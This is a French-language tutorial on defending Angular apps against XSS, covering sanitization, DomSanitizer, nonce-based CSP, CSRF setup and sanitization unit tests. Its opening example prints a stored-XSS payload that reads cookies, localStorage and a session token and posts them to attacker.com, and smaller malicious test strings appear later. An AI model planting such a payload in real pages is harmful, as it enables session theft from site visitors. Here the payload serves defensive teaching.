Prévention XSS en Angular : sanitization automatique, DomSanitizer, trusted HTML/URL, Content Security Policy et bonnes pratiques de sécurité.
Introduction — anatomie d'une attaque XSS réelle
Les attaques XSS (Cross-Site Scripting) sont classées #3 dans le Top 10 OWASP 2023. Elles injectent du JavaScript malveillant dans votre application, qui s'exécute dans le navigateur de vos utilisateurs. Voici une attaque réelle, étape par étape :
// === SCÉNARIO RÉEL : Vol de session via commentaire ===
// 1. L'attaquant poste ce "commentaire" dans votre forum :
const maliciousComment = `
<img src="x" onerror="
const stolen = {
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionToken: document.querySelector('[data-token]')?.dataset.token
};
fetch('https://attacker.com/steal', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(stolen)
});
">
`;
// 2. Vous affichez ce commentaire dans votre template PHP sans protection :
// <div><?= $comment ?></div> ← VULNÉRABLE
// 3. Résultat : chaque visiteur qui voit ce commentaire
// envoie son cookie de session + localStorage à l'attaquant
// → L'attaquant prend le contrôle de leurs comptes
// Solution Angular : {{ comment }} ← échappe automatiquement, SÉCURISÉ
Les 3 types de XSS expliqués
Comprendre chaque type de XSS est essentiel pour choisir la bonne protection :
| Type | Mécanisme | Persistance | Exemple | Protection principale |
|---|---|---|---|---|
| Stored XSS | Payload stocké en BD, renvoyé à chaque visite | Permanent | Commentaire malveillant, bio de profil | Sanitization serveur + Angular binding |
| Reflected XSS | Payload dans URL, reflété dans la réponse | Non-persistant | ?q=<script>...</script> |
Encoder les paramètres URL |
| DOM XSS | JS côté client manipule le DOM dangereusement | Runtime | innerHTML = location.search |
Éviter innerHTML/eval avec données externes |
DOM XSS — les sources dangereuses
Le DOM XSS survient quand vous injectez des données non fiables dans des sinks dangereux. Les sources les plus exploitées :
// === SOURCES DOM XSS DANGEREUSES ===
// Sources (origine des données non fiables)
const dangerous = {
url: location.search, // ?q=<script>...
hash: location.hash, // #<img onerror=...>
referrer: document.referrer, // Header contrôlable
postMessage: event.data, // Messages cross-origin
localStorage: localStorage.getItem('user') // Données persistées
};
// Sinks (fonctions qui exécutent le HTML/JS)
// element.innerHTML = userInput ← DANGEREUX
// document.write(userInput) ← TRÈS DANGEREUX
// eval(userInput) ← CRITIQUE
// setTimeout(userInput, 1000) ← DANGEREUX si string
// element.setAttribute('onclick', ...) ← DANGEREUX
// === VERSION SÉCURISÉE ===
// Utiliser textContent au lieu d'innerHTML pour du texte pur
element.textContent = userInput; // Échappe automatiquement
// Utiliser DOMPurify si vous avez besoin de HTML côté client
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// Ou simplement utiliser Angular et ses bindings sécurisés
Protection automatique d'Angular par contexte
Angular applique la protection XSS automatiquement selon le contexte de binding. Voici ce qu'Angular protège dans chaque cas :
| Binding Angular | Contexte | Protection automatique | Résultat |
|---|---|---|---|
{{ value }} |
Texte | Échappe HTML entièrement | Sécurisé |
[title]="value" |
Attribut | Échappe les caractères spéciaux | Sécurisé |
[href]="value" |
URL | Bloque les URLs javascript: |
Sécurisé |
[src]="value" |
URL ressource | Bloque javascript: et data: |
Sécurisé |
[innerHTML]="value" |
HTML | Sanitize HTML (supprime scripts/handlers) | Partiellement sécurisé |
[style]="value" |
CSS | Sanitize les valeurs CSS | Sécurisé |
// === COMPORTEMENT D'ANGULAR PAR CONTEXTE ===
@Component({
standalone: true,
template: `
<!-- 1. Interpolation : échappe TOUT ✅ -->
<p>{{ userInput }}</p>
<!-- Si userInput = "<script>evil()</script>" -->
<!-- Rendu : <script>evil()</script> (texte pur) -->
<!-- 2. Binding propriété : échappe ✅ -->
<input [placeholder]="userInput">
<!-- 3. URL binding : bloque javascript: ✅ -->
<a [href]="userUrl">Lien</a>
<!-- Si userUrl = "javascript:evil()" → Angular affiche "unsafe:javascript:evil()" -->
<!-- 4. innerHTML : sanitize mais pas 100% ⚠️ -->
<div [innerHTML]="richHtml"></div>
<!-- Angular supprime <script>, onclick=, onerror= -->
<!-- Mais laisse passer <b>, <i>, <a href> -->
`
})
export class SafeDisplayComponent {
userInput = '<script>alert("XSS")</script>';
userUrl = 'javascript:stealCookies()';
richHtml = '<b>Gras OK</b><script>evil()</script>';
// richHtml après sanitization : "<b>Gras OK</b>" (script retiré)
}
WARNING: sanitizing HTML stripped some content. C'est intentionnel — vous devez voir ce qui est supprimé.
DomSanitizer — usage correct vs dangereux
Le service DomSanitizer expose deux familles de méthodes avec des comportements très différents. Comprendre la différence est critique :
| Méthode | Comportement | Sécurité | Usage recommandé |
|---|---|---|---|
sanitize(context, value) |
Nettoie en supprimant le contenu dangereux | Sécurisé | Toujours préférer cette méthode |
bypassSecurityTrustHtml() |
Marque le HTML comme "de confiance" sans nettoyage | Dangereux | Seulement pour HTML généré côté serveur fiable |
bypassSecurityTrustScript() |
Marque un script comme "de confiance" | Très dangereux | Éviter absolument avec données utilisateur |
bypassSecurityTrustUrl() |
Marque une URL comme "de confiance" | Dangereux | Seulement pour URLs construites en interne |
bypassSecurityTrustResourceUrl() |
Marque une resource URL (src iframe) comme safe | Dangereux | Seulement pour sources d'iframe contrôlées |
// === DOMSANITIZER : BONNE PRATIQUE ===
import { Component, inject } from '@angular/core';
import { DomSanitizer, SafeHtml, SafeUrl } from '@angular/platform-browser';
import { SecurityContext } from '@angular/core';
@Component({
standalone: true,
template: `
<!-- Contenu HTML riche (éditeur WYSIWYG, markdown compilé) -->
<div [innerHTML]="safeContent"></div>
<!-- URL d'image dynamique -->
<img [src]="safeImageUrl" alt="Image utilisateur">
<!-- Iframe de source contrôlée -->
<iframe [src]="safeVideoUrl" title="Vidéo"></iframe>
`
})
export class ContentDisplayComponent {
private sanitizer = inject(DomSanitizer);
// === APPROCHE 1 : sanitize() — RECOMMANDÉE ===
// Supprime les scripts, event handlers, etc.
safeContent: SafeHtml;
constructor() {
const htmlFromEditor = '<b>Titre</b><p>Paragraphe</p><script>evil()</script>';
// sanitize() nettoie et retourne un string sécurisé
const cleaned = this.sanitizer.sanitize(SecurityContext.HTML, htmlFromEditor);
// cleaned = "<b>Titre</b><p>Paragraphe</p>" (script supprimé)
// Puis bypass UNIQUEMENT parce que le contenu est déjà sanitized
this.safeContent = this.sanitizer.bypassSecurityTrustHtml(cleaned ?? '');
}
// === APPROCHE 2 : bypass DIRECTEMENT — DANGEREUX ===
// À utiliser SEULEMENT si le HTML vient d'une source 100% contrôlée côté serveur
loadTrustedServerHtml(serverGeneratedHtml: string): SafeHtml {
// Ce HTML vient du serveur, pas de l'utilisateur
// Le serveur a déjà sanitized via DOMPurify ou similaire
return this.sanitizer.bypassSecurityTrustHtml(serverGeneratedHtml);
}
// === URL DYNAMIQUE (ex: Blob URL pour preview image) ===
createObjectUrl(file: File): SafeUrl {
const objectUrl = URL.createObjectURL(file); // blob:http://...
return this.sanitizer.bypassSecurityTrustUrl(objectUrl);
}
// === URL YOUTUBE IFRAME ===
getSafeVideoUrl(videoId: string): SafeUrl {
// Construite par notre code, pas par l'utilisateur directement
const url = `https://www.youtube.com/embed/${encodeURIComponent(videoId)}`;
return this.sanitizer.bypassSecurityTrustResourceUrl(url);
}
}
Pipe personnalisé pour sanitization réutilisable
// safe-html.pipe.ts — Pipe réutilisable pour sanitization
import { Pipe, PipeTransform, inject } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
import { SecurityContext } from '@angular/core';
@Pipe({
name: 'safeHtml',
standalone: true,
pure: true // Optimisation : Angular ne recalcule pas si la valeur n'a pas changé
})
export class SafeHtmlPipe implements PipeTransform {
private sanitizer = inject(DomSanitizer);
transform(value: string | null | undefined): SafeHtml {
if (!value) return '';
// Double protection : sanitize puis bypass
const sanitized = this.sanitizer.sanitize(SecurityContext.HTML, value) ?? '';
return this.sanitizer.bypassSecurityTrustHtml(sanitized);
}
}
// Utilisation dans le template :
// <div [innerHTML]="article.content | safeHtml"></div>
Content Security Policy avec Angular
La Content Security Policy (CSP) est une couche de défense en profondeur : même si du XSS s'infiltre, le navigateur refuse d'exécuter les scripts non autorisés. Angular supporte les CSP basées sur les nonces, ce qui est la méthode moderne recommandée.
CSP avec ng-csp-nonce (Angular 16+)
// === CONFIGURATION NONCE CSP ===
// 1. server.php — Générer un nonce côté serveur à chaque requête
$nonce = base64_encode(random_bytes(16));
// Stocker pour l'injecter dans le header ET dans la page
header("Content-Security-Policy: " .
"default-src 'self'; " .
"script-src 'self' 'nonce-{$nonce}'; " . // ← nonce unique par requête
"style-src 'self' 'unsafe-inline'; " .
"img-src 'self' data: https:; " .
"connect-src 'self' https://api.example.com; " .
"frame-ancestors 'none';"
);
// 2. index.html Angular — Injecter le nonce
// <app-root ngCspNonce="NONCE_PLACEHOLDER"></app-root>
// Angular lira cet attribut et l'appliquera aux styles inline qu'il génère
Configuration Express + Helmet (Node.js backend)
// server.ts — Configuration CSP avec Helmet.js
import express from 'express';
import helmet from 'helmet';
import crypto from 'crypto';
const app = express();
app.use((req, res, next) => {
// Générer un nonce unique par requête
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
`'nonce-${nonce}'`, // Scripts avec ce nonce autorisés
"'strict-dynamic'" // Propager la confiance aux scripts chargés
],
styleSrc: [
"'self'",
`'nonce-${nonce}'`,
"https://fonts.googleapis.com"
],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.yourapp.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"], // Bloquer Flash et plugins
frameAncestors: ["'none'"], // Prévention clickjacking
upgradeInsecureRequests: [] // Forcer HTTPS
}
})(req, res, next);
});
// Middleware pour injecter le nonce dans le HTML servi
app.get('*', (req, res) => {
const nonce = res.locals.cspNonce;
// Remplacer NONCE_PLACEHOLDER dans index.html par la valeur réelle
const html = readIndexHtml().replace('NONCE_PLACEHOLDER', nonce);
res.send(html);
});
Vérifier votre CSP
// Tester votre CSP sans bloquer (mode report-only)
// Header : Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report
// Endpoint pour recevoir les violations
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const violation = req.body['csp-report'];
console.error('CSP Violation:', {
blockedUri: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
documentUri: violation['document-uri']
});
res.status(204).end();
});
Protection CSRF avec HttpClient Angular
XSS et CSRF sont souvent combinés par les attaquants. Angular HttpClient gère la protection CSRF automatiquement via des tokens double-submit. Voici la configuration complète :
// app.config.ts — Configuration CSRF HttpClient
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig: ApplicationConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
// Angular lira ce cookie et l'enverra dans ce header
cookieName: 'XSRF-TOKEN', // Nom du cookie (défaut)
headerName: 'X-XSRF-TOKEN' // Nom du header (défaut)
})
)
]
};
// Angular ajoute automatiquement X-XSRF-TOKEN dans TOUTES les requêtes POST/PUT/DELETE
// Le serveur doit vérifier que la valeur du header correspond au cookie
// server-side CSRF validation (Express)
import csrf from 'csurf';
import cookieParser from 'cookie-parser';
app.use(cookieParser());
app.use(csrf({ cookie: { httpOnly: false, sameSite: 'strict' } }));
// httpOnly: false OBLIGATOIRE → Angular doit pouvoir lire le cookie JS
// Fournir le token initial au client
app.get('/api/csrf-token', (req, res) => {
res.cookie('XSRF-TOKEN', req.csrfToken(), {
sameSite: 'strict',
secure: true // Seulement en HTTPS
});
res.json({ token: req.csrfToken() });
});
// Middleware de validation automatique pour toutes les routes POST/PUT/DELETE
// (csurf le fait automatiquement si withCredentials est activé dans Angular)
Intercepteur de sécurité Angular
Un intercepteur HttpClient centralise l'ajout des headers de sécurité sur toutes vos requêtes HTTP. Voici un intercepteur complet pour les applications Angular modernes :
// security.interceptor.ts
import { HttpInterceptorFn, HttpRequest, HttpHandlerFn } from '@angular/common/http';
export const securityInterceptor: HttpInterceptorFn = (
req: HttpRequest<unknown>,
next: HttpHandlerFn
) => {
const isApiCall = req.url.startsWith('/api') || req.url.includes('api.yourapp.com');
if (!isApiCall) {
return next(req);
}
const secureReq = req.clone({
withCredentials: true, // Envoyer les cookies dans les requêtes cross-origin
setHeaders: {
'X-Requested-With': 'XMLHttpRequest', // Identifier les requêtes AJAX
'Accept': 'application/json',
'Cache-Control': 'no-cache, no-store', // Éviter le cache des réponses sensibles
}
});
return next(secureReq);
};
// app.config.ts — Enregistrer l'intercepteur
import { provideHttpClient, withInterceptors } from '@angular/common/http';
import { securityInterceptor } from './security.interceptor';
export const appConfig: ApplicationConfig = {
providers: [
provideHttpClient(
withInterceptors([securityInterceptor])
)
]
};
Valider les URLs dynamiques avant navigation
// url-validator.service.ts — Service de validation des URLs
import { Injectable } from '@angular/core';
@Injectable({ providedIn: 'root' })
export class UrlValidatorService {
private readonly ALLOWED_PROTOCOLS = ['https:', 'http:'];
private readonly ALLOWED_DOMAINS = ['yourapp.com', 'api.yourapp.com'];
isSafeExternalUrl(url: string): boolean {
try {
const parsed = new URL(url);
// Bloquer javascript:, data:, vbscript:
if (!this.ALLOWED_PROTOCOLS.includes(parsed.protocol)) {
console.warn('URL bloquée (protocole dangereux):', parsed.protocol);
return false;
}
return true;
} catch {
return false; // URL malformée
}
}
isTrustedDomain(url: string): boolean {
try {
const parsed = new URL(url);
return this.ALLOWED_DOMAINS.some(domain => parsed.hostname.endsWith(domain));
} catch {
return false;
}
}
}
Checklist complète sécurité XSS Angular
Voici la checklist complète à valider avant de déployer une application Angular en production :
Bindings Angular — règles d'or
- Utiliser
{{ }}pour tout texte — Angular échappe automatiquement - Utiliser
[property]pour les attributs HTML — Angular sanitize - Utiliser
[innerHTML]uniquement avec| safeHtmlpipe - Utiliser
DomSanitizer.sanitize()avant toutbypassSecurityTrust* - Créer un pipe
safeHtmlréutilisable (voir code ci-dessus)
Ce qu'il faut éviter absolument
- Ne jamais utiliser
bypassSecurityTrustHtml()avec des données utilisateur directes - Ne jamais utiliser
eval(),Function(),setTimeout(string) - Ne jamais construire du HTML par concaténation de chaînes
- Ne jamais faire confiance à
document.referreroulocation.hashsans validation - Ne jamais utiliser
document.write()
Headers HTTP de sécurité obligatoires
| Header | Valeur recommandée | Protection |
|---|---|---|
Content-Security-Policy |
script-src 'self' 'nonce-xyz' |
Empêche exécution de scripts non autorisés |
X-Content-Type-Options |
nosniff |
Empêche MIME sniffing |
X-Frame-Options |
DENY |
Empêche clickjacking via iframe |
Referrer-Policy |
strict-origin-when-cross-origin |
Contrôle les informations de referrer |
Permissions-Policy |
camera=(), microphone=() |
Restreint l'accès aux APIs navigateur |
Tests de sécurité à intégrer
// === TEST UNITAIRE : Vérifier que la sanitization fonctionne ===
import { TestBed } from '@angular/core/testing';
import { DomSanitizer } from '@angular/platform-browser';
import { SecurityContext } from '@angular/core';
describe('Sanitization XSS', () => {
let sanitizer: DomSanitizer;
beforeEach(() => {
TestBed.configureTestingModule({});
sanitizer = TestBed.inject(DomSanitizer);
});
it('doit supprimer les balises script', () => {
const malicious = '<p>Texte</p><script>evil()</script>';
const result = sanitizer.sanitize(SecurityContext.HTML, malicious);
expect(result).toContain('<p>Texte</p>');
expect(result).not.toContain('<script>');
expect(result).not.toContain('evil()');
});
it('doit supprimer les event handlers', () => {
const malicious = '<img src="x" onerror="stealData()">';
const result = sanitizer.sanitize(SecurityContext.HTML, malicious);
expect(result).not.toContain('onerror');
expect(result).not.toContain('stealData');
});
it('doit bloquer les URLs javascript:', () => {
const maliciousUrl = 'javascript:stealCookies()';
const result = sanitizer.sanitize(SecurityContext.URL, maliciousUrl);
expect(result).not.toContain('javascript:');
});
});
Conclusion
La sécurité XSS dans Angular repose sur 3 piliers complémentaires : les bindings Angular sécurisés par défaut, la DomSanitizer pour le contenu riche, et les headers HTTP de sécurité côté serveur.
- Par défaut :
{{ }}et[property]= 100% sécurisés contre XSS - HTML riche :
DomSanitizer.sanitize()supprime les scripts automatiquement - Bypass uniquement : si source serveur contrôlée et déjà nettoyée
- CSP : deuxième ligne de défense pour bloquer l'exécution de scripts
- CSRF :
withXsrfConfiguration()protège automatiquement les mutations - Tests : valider la sanitization avec des cas de test XSS ciblés
npm audit + des outils comme OWASP ZAP pour détecter les vulnérabilités résiduelles.